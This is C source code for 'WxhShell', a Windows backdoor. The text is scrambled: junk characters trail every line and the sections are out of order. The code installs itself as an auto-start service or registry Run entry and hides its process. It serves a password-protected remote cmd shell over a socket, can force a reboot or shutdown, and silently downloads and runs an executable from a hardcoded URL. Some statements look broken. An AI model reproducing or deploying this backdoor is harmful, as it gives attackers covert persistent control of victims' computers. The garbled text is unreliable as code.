    if(Boot(SHUTDOWN)) P92:}" )*>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g^0  
    else { R`1$z8$  
    closesocket(wsh); p%3';7W\  
    ExitThread(0); =WO{h48]  
    }  K[?wP>s  
    break; !kV?h5@Bo  
    } l" sR\`~  
  // 获取shell }DZkCzK  
  case 's': { o,aI<5"  
    CmdShell(wsh); e;!<3b  
    closesocket(wsh); NoKYHN^*w  
    ExitThread(0); Uj!L:u2b  
    break; 4 Qw;r  
  } @&EP& $*  
  // 退出 $7BD~U   
  case 'x': { k?S-peyRO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U{ahA  
    CloseIt(wsh); }:jXl!:V  
    break; 7kJ,;30)  
    } ?C $_?Qi  
  // 离开 Mm/GI a  
  case 'q': { O$&p<~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n"dT^ g  
    closesocket(wsh); V).M\  
    WSACleanup(); /,:32H  
    exit(1); 7gJy xQ  
    break; 4cV(Z-\  
        } <?Lj!JGX  
  } aX~iY ~?_  
  } ]\_4r)cN<n  
.0a$E`V=D  
  // 提示信息 DH 9?~|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KRXe\Sx  
} g8qN+Gg  
  } p1|@F^Q  
H>Fy 2w  
  return; CV& SNA  
} 90ORx\Oeo  
4Yn*q~f  
// shell模块句柄 q-!m|<Z  
int CmdShell(SOCKET sock) }NYsKu_cM  
{ M~"K@g=Wr  
STARTUPINFO si; `q5*VqIhs  
ZeroMemory(&si,sizeof(si)); HX=`kkX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wiFckF/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  z!F?#L5  
PROCESS_INFORMATION ProcessInfo; t;4{l`dk  
char cmdline[]="cmd"; `[:f;2(@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c^=,@#  
  return 0; !D6@\  
} HZP`u >.  
0#yo\McZ  
// 自身启动模式 Y)a 7osML  
int StartFromService(void) @|cas|U.r  
{ r-!8in2  
typedef struct e8gD(T  
{ XS1>ti|<  
  DWORD ExitStatus; /sYD+*a  
  DWORD PebBaseAddress; a2g15;kM  
  DWORD AffinityMask; +q =/}|  
  DWORD BasePriority; >yL8C: J9  
  ULONG UniqueProcessId; 0<P -`|X  
  ULONG InheritedFromUniqueProcessId; R"82=">v  
}   PROCESS_BASIC_INFORMATION; RQh4RUm  
icnp^2P  
PROCNTQSIP NtQueryInformationProcess; c5t?S@b  
"0]i4d1l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V= .'Db2D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W{0<ro`  
*.i` hfRc  
  HANDLE             hProcess; nNL9B~d  
  PROCESS_BASIC_INFORMATION pbi; WJg?R^  
QU\|RX   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,Z52d ggD  
  if(NULL == hInst ) return 0; J[<:-$E  
^c-1w V` /  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v4 c_UFEh<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #|gt(p]C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S(rA96n  
hsVWD,w  
  if (!NtQueryInformationProcess) return 0; yuhSP{pv'  
Jj([O2Eq$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u/``*=Y@  
  if(!hProcess) return 0; fc&4e:Ve  
g8B@M*JA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lJ}lO,g  
QRa>W/N  
  CloseHandle(hProcess); !qy/'v4  
)WBTqML[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  C9*'.~  
if(hProcess==NULL) return 0; v_oNM5w  
#Ok*O r  
HMODULE hMod; *xt3mv/<z  
char procName[255]; OHH wcJ7N  
unsigned long cbNeeded; -,p(PK  
\]o#tYN\a0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yyBy|7QgO  
~I!7]i]"*?  
  CloseHandle(hProcess); nKV1F0-  
vu1F  
if(strstr(procName,"services")) return 1; // 以服务启动 U*,5t81  
{HQ?  
  return 0; // 注册表启动 NPKRX Li%  
} U?H!:?,C  
_ea!psA0  
// 主模块 +Pn+&o;D  
int StartWxhshell(LPSTR lpCmdLine) UB=I>  
{ ]JtK)9  
  SOCKET wsl; 72Ft?;R  
BOOL val=TRUE; N0/DPZX7  
  int port=0; ?mrG^TV^+r  
  struct sockaddr_in door; /Wk\ 6  
y<.1+TG  
  if(wscfg.ws_autoins) Install(); @@_f''f$  
@Vc*JEW  
port=atoi(lpCmdLine); H}X3nl\]  
{bl^O  
if(port<=0) port=wscfg.ws_port; `&j5/[>v  
?!8M I,c/  
  WSADATA data; r1xN U0A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V[A uw3)  
NtSa# $A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )CEfG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^qYJx  
  door.sin_family = AF_INET; !SEg4z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Svy bP&i|  
  door.sin_port = htons(port); BEN=/ v  
hcwKi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LbvnV~S  
closesocket(wsl); G' Jsk4:c  
return 1; Al6)$8]e   
} oJ>]=^?k  
mq su8ti  
  if(listen(wsl,2) == INVALID_SOCKET) { h0d;a  
closesocket(wsl); 1Y\g{A "  
return 1; kC0F@'D  
} )"wWV{k  
  Wxhshell(wsl); -+-@Yq$  
  WSACleanup(); ^6oz3+  
CR&v z3\Q  
return 0; -dZ7;n5&_  
0vt?yD  
} 8( 7DW |\  
+P81&CaY  
// 以NT服务方式启动 Hh4$Qr;R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BUuNI_?M#5  
{ iLNKC'  
DWORD   status = 0; JZ]4?_l  
  DWORD   specificError = 0xfffffff; tJ i#bg%  
( n|PLi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (%YFcE)SRS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M)#aX|%Mh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -]\UFR  
  serviceStatus.dwWin32ExitCode     = 0; c54oQ1Q&"  
  serviceStatus.dwServiceSpecificExitCode = 0; j0~]o})@i  
  serviceStatus.dwCheckPoint       = 0; O4S~JE3o  
  serviceStatus.dwWaitHint       = 0; g%Sl+gWdJ  
V*2uW2\}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :q<8:,rP  
  if (hServiceStatusHandle==0) return; 00[Uk'Q*5  
n0:'h}^  
status = GetLastError(); a2SMNC]  
  if (status!=NO_ERROR) xJ:15eDC  
{ >A;Mf*E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CMI%jyiX  
    serviceStatus.dwCheckPoint       = 0; MOKg[ j  
    serviceStatus.dwWaitHint       = 0; 0V@u]  
    serviceStatus.dwWin32ExitCode     = status; -O:+?gG  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ux2(Oph  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #;# V1  
    return; 4 >at# Zc  
  } yF0\$%H>$  
T6*naH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (i^{\zv  
  serviceStatus.dwCheckPoint       = 0; xlZ"F  
  serviceStatus.dwWaitHint       = 0; '%vb&a!.6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5IE2&V  
} tXV9+AJ  
d<r=f"  
// 处理NT服务事件,比如:启动、停止 !ZJ" lm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B\G?dmo  
{ }_vE lBh6$  
switch(fdwControl) BxS\ "W  
{ ]Nz~4ebB  
case SERVICE_CONTROL_STOP: *$1M= $  
  serviceStatus.dwWin32ExitCode = 0; u^8:/~8K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y!N *J  
  serviceStatus.dwCheckPoint   = 0; M{<cqxY  
  serviceStatus.dwWaitHint     = 0; BqC!78Y/e  
  { w]J9Kv1)-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )7l+\t  
  } e)]9u$x  
  return; k7z;^:  
case SERVICE_CONTROL_PAUSE: *NHBwXg+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;P3sDN  
  break; jCa%(2~iQ7  
case SERVICE_CONTROL_CONTINUE: rXPq'k'h#-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w7 @fiH{  
  break; B2w\  
case SERVICE_CONTROL_INTERROGATE: -!f)P=S  
  break; "l&=a1l  
}; {4SwCN /  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $6e&sDJ  
} eK PxSN Z  
z-$bce9*  
// 标准应用程序主函数 XkLl(uyh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kscZ zXv  
{ G0 Q} 1  
aw&:$twbM  
// 获取操作系统版本 :8\!;!  
OsIsNt=GetOsVer(); ,K'>s<}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FR&4i" +  
YNyaz\L  
  // 从命令行安装 MB06=N  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?f<JwF<  
nk|j(D  
  // 下载执行文件 /n;Ll](ri  
if(wscfg.ws_downexe) { :34]}`-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `?r]OVe{y  
  WinExec(wscfg.ws_filenam,SW_HIDE); (C>FM8$J  
} 4=!SG4~o  
yr?*{;  
if(!OsIsNt) { a+sHW<QeS  
// 如果时win9x,隐藏进程并且设置为注册表启动  AV{3f`  
HideProc(); 7N9~nEU  
StartWxhshell(lpCmdLine); #-*7<wN   
} 91d@/z  
else . J[2\"W  
  if(StartFromService()) t[*;v  
  // 以服务方式启动 o8Vtxnkg  
  StartServiceCtrlDispatcher(DispatchTable); u>SGa @R)  
else exT O#*o  
  // 普通方式启动 y=7WnQc  
  StartWxhshell(lpCmdLine); XJ,P8nx  
Vz[E)(QX-`  
return 0; |W4 \  
} hqrI%%  
C%_^0#8-0  
Ww-%s9N<  
#2l6'gWE0  
=========================================== Fb#.Gg9b>  
*W aL}i(P1  
GO0Spf_Gh  
AT Dm$ *  
U  ?'$E\  
E`s9SE  
" 3jR,lEJyj  
8fA9yQ 8  
#include <stdio.h> oE@{h$=  
#include <string.h> tgoOzk^  
#include <windows.h> AE0d0Y~9  
#include <winsock2.h> ' NCxVbyYD  
#include <winsvc.h> yZk HBG4  
#include <urlmon.h> e[_W( v  
."b=dkx  
#pragma comment (lib, "Ws2_32.lib") $Lg% CY  
#pragma comment (lib, "urlmon.lib") %{qJkjG  
NJK?5{H'  
#define MAX_USER   100 // 最大客户端连接数 hpp>+=  
#define BUF_SOCK   200 // sock buffer Xb +)@Y4h  
#define KEY_BUFF   255 // 输入 buffer Q-;ltJ  
N5 ITb0Tv  
#define REBOOT     0   // 重启 }%LwaRT  
#define SHUTDOWN   1   // 关机 `~|8eKFq!  
pgT XyAP{  
#define DEF_PORT   5000 // 监听端口 U7O]g'BP  
6&V4W"k  
#define REG_LEN     16   // 注册表键长度 \;AW/& Ea  
#define SVC_LEN     80   // NT服务名长度 ~um+r],@@  
;m6Mm`[i<  
// 从dll定义API wUkLe-n,dE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3?|gBiX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gEC*JbA.3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F%QZe*m[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p_h)|*W{  
+9Z RCmV  
// wxhshell配置信息 St/<\Y,wr  
struct WSCFG { {6MLbL{  
  int ws_port;         // 监听端口 /?X1>A:*  
  char ws_passstr[REG_LEN]; // 口令 K|*Cka{  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9`{[J['V  
  char ws_regname[REG_LEN]; // 注册表键名 LX A1rgUWT  
  char ws_svcname[REG_LEN]; // 服务名  yH_L<n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N!" ]e*q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :()(P9?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pcw!e_"+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 86d *  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <jd S0YT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &We1i &w  
u*_I7.}9  
}; !1<x@%  
H -('!^  
// default Wxhshell configuration R<W#.mpo6  
struct WSCFG wscfg={DEF_PORT, L'=e /&  
    "xuhuanlingzhe", xTQV?g J  
    1, ,Ie~zZE&  
    "Wxhshell", 8>q:Q<BB2  
    "Wxhshell", .N~qpynY  
            "WxhShell Service", a(CZGIB  
    "Wrsky Windows CmdShell Service", p '{ `Uvr  
    "Please Input Your Password: ", $t5 0<1  
  1, Bm%.f!`  
  "http://www.wrsky.com/wxhshell.exe",  /bA\O   
  "Wxhshell.exe" y@g{:/cmO  
    }; g;en_~g3j  
K]dqK'  
// 消息定义模块 PZ69aZ*Gs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t!^FWr&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [;B_ENV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9/C0DDb  
char *msg_ws_ext="\n\rExit."; j}YZl@dYV  
char *msg_ws_end="\n\rQuit."; @(.?e<  
char *msg_ws_boot="\n\rReboot..."; (zkh`8L  
char *msg_ws_poff="\n\rShutdown...";  01I5,Dm  
char *msg_ws_down="\n\rSave to "; R`=IYnoOA  
<x@\3{{U  
char *msg_ws_err="\n\rErr!"; e2w$":6>  
char *msg_ws_ok="\n\rOK!"; ixN>KwH  
aq3evm  
char ExeFile[MAX_PATH]; :6LOb f\01  
int nUser = 0; Z4'"*  
HANDLE handles[MAX_USER]; uE:#m.Q  
int OsIsNt; R =HN>(U  
S |T:rc(~  
SERVICE_STATUS       serviceStatus; [;dWFG"f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UNocm0!N'  
@%J?[PG  
// 函数声明 G\h8j*o  
int Install(void); )>a t]mH  
int Uninstall(void); BXueOvO8  
int DownloadFile(char *sURL, SOCKET wsh); A`u04Lm7  
int Boot(int flag); v}dt**l  
void HideProc(void); o*/\ oVOq  
int GetOsVer(void); l ,)l"6OV  
int Wxhshell(SOCKET wsl); g92M\5 x9  
void TalkWithClient(void *cs); S4<@ji  
int CmdShell(SOCKET sock); | (P%<  
int StartFromService(void); P,AS`=z  
int StartWxhshell(LPSTR lpCmdLine); 9\TvX!)h  
LXIlrZ9D5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XboOvdt^|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `<y[V  
o)n8,k&nm  
// 数据结构和表定义 "Ks%!  
SERVICE_TABLE_ENTRY DispatchTable[] = Faa:h#  
{ Q"8)'dL'  
{wscfg.ws_svcname, NTServiceMain}, 7d/wT+f  
{NULL, NULL} n);2b\&  
}; S|;a=K&hS  
_5M!ec  
// 自我安装 Ed #%F-1sX  
int Install(void) EH3jzE3N  
{ lsW.j#yE!  
  char svExeFile[MAX_PATH]; S$%/9^\jF  
  HKEY key; 6f 6_ztTL  
  strcpy(svExeFile,ExeFile); +YT/od1t7  
6N.mSnp  
// 如果是win9x系统,修改注册表设为自启动 0]8+rWp|Nz  
if(!OsIsNt) { FVG|5'V^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3leg,q d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^w2n  
  RegCloseKey(key); &.kg8|s{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t,N- |  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .5L/<  
  RegCloseKey(key); s5|LD'o!  
  return 0; 7x9YA$IE  
    } &m8B%9w  
  } cv:nlq)  
} 3~I<f ^K4  
else { e^~t52]  
9YHSL[  
// 如果是NT以上系统,安装为系统服务 SfJ/(q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k;zb q  
if (schSCManager!=0) 0x# 6L  
{ "+nURdicO  
  SC_HANDLE schService = CreateService oZ6xHdPc4  
  ( ScGmft3A  
  schSCManager, 9Lz)SYd  
  wscfg.ws_svcname, qCgP8U/jv  
  wscfg.ws_svcdisp, a}E8A DyC  
  SERVICE_ALL_ACCESS, HT?`PG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ bM;C_<$f  
  SERVICE_AUTO_START, e/;Ui  
  SERVICE_ERROR_NORMAL, `k\]I |6  
  svExeFile, b,T=0W  
  NULL, Zpb3>0<R  
  NULL, m)_1->K  
  NULL, /UyW&]nK  
  NULL, [%l+ C~m  
  NULL 58e{WC  
  ); Zy*}C,Z  
  if (schService!=0) 3{MIBMA  
  { PY z | d  
  CloseServiceHandle(schService); njUM>E,'  
  CloseServiceHandle(schSCManager); {z F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eA4*Be;9e  
  strcat(svExeFile,wscfg.ws_svcname); m(OBk;S~   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k}T~N.0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jHz]  
  RegCloseKey(key); gP1$#KgU  
  return 0; UO:>^,(j  
    } GUN<ZOYb=  
  } +#B%YK|LR  
  CloseServiceHandle(schSCManager); *DNH_8m  
} gu:..'V  
} 6@F Z,e  
?N|PgNu X  
return 1; @XIwp2A{+  
} '.kbXw0}  
*;gi52tM  
// 自我卸载 ?,%N?  
int Uninstall(void) HYg _{  
{ xD1wHp!+  
  HKEY key; Y(A?ib~K  
|g;XC^!%=o  
if(!OsIsNt) { n,HWVo>([  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~{NDtB)  
  RegDeleteValue(key,wscfg.ws_regname); UT{N ly8u  
  RegCloseKey(key); pwZ &2&|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `HJwwKd  
  RegDeleteValue(key,wscfg.ws_regname); A1'IK.  
  RegCloseKey(key); @ics  
  return 0; I" j7  
  } A,=l9hE'  
} wK\SeX  
} @K+u+} R  
else { >XZq=q]E!  
5N|77AAxK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]B7t9l  
if (schSCManager!=0) F H%yyT  
{ _%L3?PpF"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X@D3  
  if (schService!=0) Bkz   
  { JGdBpj:  
  if(DeleteService(schService)!=0) { 9a4RW}S<  
  CloseServiceHandle(schService); ;zJ_apZ:{  
  CloseServiceHandle(schSCManager); %vThbP#mR|  
  return 0; ix/uV)]k`  
  } ftH 0aI  
  CloseServiceHandle(schService); CNN?8/u!@  
  } kU^@R<Fo  
  CloseServiceHandle(schSCManager); :iWV:0)P  
} q;AQ6k(  
} ?41| e+p  
>qgBu_  
return 1; 2 rBF<z7  
} #F6ak,9S4  
x p$0J<2  
// 从指定url下载文件 ^IId =V=2  
int DownloadFile(char *sURL, SOCKET wsh) ){(cRB$  
{ gSv<.fD"  
  HRESULT hr; $N ]P#g?Q  
char seps[]= "/"; 23fAc"@ B  
char *token; SwL\=nq+~  
char *file; EXi+pm  
char myURL[MAX_PATH]; q_K1L  
char myFILE[MAX_PATH]; 2>r.[  
@6Mo_4)O  
strcpy(myURL,sURL); [&4y@  
  token=strtok(myURL,seps); tw(2V$J  
  while(token!=NULL) %B?5l^W@  
  { z>&D~0  
    file=token; d+w<y~\ q  
  token=strtok(NULL,seps); jGWLYI=V2  
  } df)1} /*L  
g bh:Y}_FU  
GetCurrentDirectory(MAX_PATH,myFILE); EtcamI*`  
strcat(myFILE, "\\"); Xg)yz~Ug  
strcat(myFILE, file); }B.C#Y$@  
  send(wsh,myFILE,strlen(myFILE),0); j)0R*_-B[  
send(wsh,"...",3,0); 2U+&F'&Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0jS/U|0  
  if(hr==S_OK) JU6np4  
return 0; Z`!pU"O9l  
else  y1saE  
return 1; I"!{HnSG`  
sg y  
} Ue7W&N^E  
4~/6d9f  
// 系统电源模块 $5o<Mj  
int Boot(int flag) s [!SG`&  
{ j AE0$u~.  
  HANDLE hToken; ,jWd?-NH  
  TOKEN_PRIVILEGES tkp; X>4`{x`  
9..k/cH  
  if(OsIsNt) { a]k&$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {3R ax5Ty  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u0e#iX  
    tkp.PrivilegeCount = 1; Rb0{t[IU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tvUvd(8 w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  R pbl)  
if(flag==REBOOT) { oGqv,[$qN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?x0yiV~dL  
  return 0; 2uTa}{/%  
} QUDVsN#  
else { Ss:,#|   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +g[B &A!d+  
  return 0; K_aN7?#.v`  
} ._3NqE;  
  } ]4yvTP3[Rm  
  else { O+$70   
if(flag==REBOOT) { MocH>^,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5HN<*u%z  
  return 0; m [g}vwS  
} Uu+C<j&-  
else { M&FuXG%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f0s &9H  
  return 0; EHHxCq?  
} \2,18E  
} (AYS>8O&  
1sjn_fPz  
return 1; _XZ=4s  
} h"ylpv+  
!;gke,fB  
// win9x进程隐藏模块 |DD?3#G01  
void HideProc(void) SS~Q;9o  
{ $%JyM  
w!RH*S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .7FI%  
  if ( hKernel != NULL ) "BRE0Ir:  
  { )'~FDw\6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Anv8)J!9u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .B13)$C  
    FreeLibrary(hKernel); G#: !wI  
  } r\d:fot  
clw91yrQn  
return; AF$o >f  
} ^Q>*f/.KN  
+a-@ !J~:  
// 获取操作系统版本 xW =$j|  
int GetOsVer(void) 5KR|p Fq  
{ 6hK"k  
  OSVERSIONINFO winfo; +d f?N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ak Tw?v'  
  GetVersionEx(&winfo); #pSOZX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oNZ W#<K  
  return 1; :$aW@?zAY  
  else [r8 d+  
  return 0; SWb5K0YRn  
} >EtP^Lu~f_  
lg >AWTW[  
// 客户端句柄模块 lM*O+k  
int Wxhshell(SOCKET wsl) 2H[a Y%1T  
{ Nh9!lBm*]  
  SOCKET wsh; ]ECZU   
  struct sockaddr_in client; }!V<"d,!  
  DWORD myID; !d .>r 7w  
)`mF.87b&h  
  while(nUser<MAX_USER) dY<#a,eS  
{ ; ZV^e  
  int nSize=sizeof(client); ;|QR-m2/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); acY[?L_6J  
  if(wsh==INVALID_SOCKET) return 1; ;/ KF3 %  
2TEeP7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K)&XQ`&  
if(handles[nUser]==0) "n }fEVJ,  
  closesocket(wsh); Q+(:n)G_6E  
else 2bnIT>(  
  nUser++; 9Fx z!-9m  
  } Ko)T>8:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T zYgH  
NB5B$q_'#  
  return 0; ?]D+H%3[$i  
} o%PoSZZ  
Os 2YZ<t  
// 关闭 socket \BaN5+ B6  
void CloseIt(SOCKET wsh) BJxm W's/  
{ &W+G{W{3  
closesocket(wsh); NoZ4['NI\  
nUser--; :TYzzl43  
ExitThread(0); Uv`v|S:+2  
} j jT 2k  
9~'Ip7X,!  
// 客户端请求句柄 MVP)rugU  
void TalkWithClient(void *cs) "Vp: z V<S  
{ -!G#")<  
-^Km}9g  
  SOCKET wsh=(SOCKET)cs; `AHNk7 t=  
  char pwd[SVC_LEN]; Z?c=t-yqp  
  char cmd[KEY_BUFF]; X1[R*a/p  
char chr[1]; B9)qv>m  
int i,j; b%f2"e0g  
1=5'R/k  
  while (nUser < MAX_USER) { ((>3,%B`  
vKf;&`^qE  
if(wscfg.ws_passstr) { {C0^D*U:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "rDzrz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }_:#fE  
  //ZeroMemory(pwd,KEY_BUFF); 'Oy5G7^R  
      i=0; {R!TUQ5  
  while(i<SVC_LEN) { T>Rf?%o  
5uJP) S?  
  // 设置超时 .Xz"NyW  
  fd_set FdRead; #u5;utY:F  
  struct timeval TimeOut; S%s|P=u  
  FD_ZERO(&FdRead); h9w^7MbO  
  FD_SET(wsh,&FdRead); gc:p@<  
  TimeOut.tv_sec=8; `(Q_ 65y  
  TimeOut.tv_usec=0; \v P2B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k&_u\D"^"%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -kri3?Y,  
X.AWs=:-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vua1iN1  
  pwd=chr[0]; aco}pXz  
  if(chr[0]==0xd || chr[0]==0xa) { e9hVX[uq  
  pwd=0; 6dR-HhF  
  break; `Y({#U  
  } 9c5G6n0  
  i++; grfdvN  
    } KYmWfM3^  
M|E2&ht  
  // 如果是非法用户,关闭 socket p9 ,\{Is  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \%?8jQ'tX  
} t"bPKFRy9E  
b}*@=X=4o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @1SKgbt>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K-Dk2(x  
b}?@syy8  
while(1) { Gp3nR<+  
o`T<}z26  
  ZeroMemory(cmd,KEY_BUFF); yw Q!9 \  
Q~Sv2  
      // 自动支持客户端 telnet标准   3|'#n[3  
  j=0; JXRf4QmG  
  while(j<KEY_BUFF) { (zw=qbS&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "G-0iKW;  
  cmd[j]=chr[0]; 60~>f)vu  
  if(chr[0]==0xa || chr[0]==0xd) { b^l -*4  
  cmd[j]=0; ]T3BDgu%&  
  break; A]O5+" mc  
  } Yx}"> ;\  
  j++; ?(NT!es  
    } L3=YlX`UL  
<&Y}j&(  
  // 下载文件 >gZk 581/  
  if(strstr(cmd,"http://")) { gC_s\WU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6(q`Oj  
  if(DownloadFile(cmd,wsh)) o|^?IQ7bpf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3VRZM@i  
  else Eagmafu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K,C $J I  
  } 9p\wTzA  
  else { 1nlE3Y?AV  
sRe#{EuJ  
    switch(cmd[0]) { {?>bblw/d  
  n"<GJ.{  
  // 帮助 jQ_|z@OV  
  case '?': { 5nxS+`Pn.)  
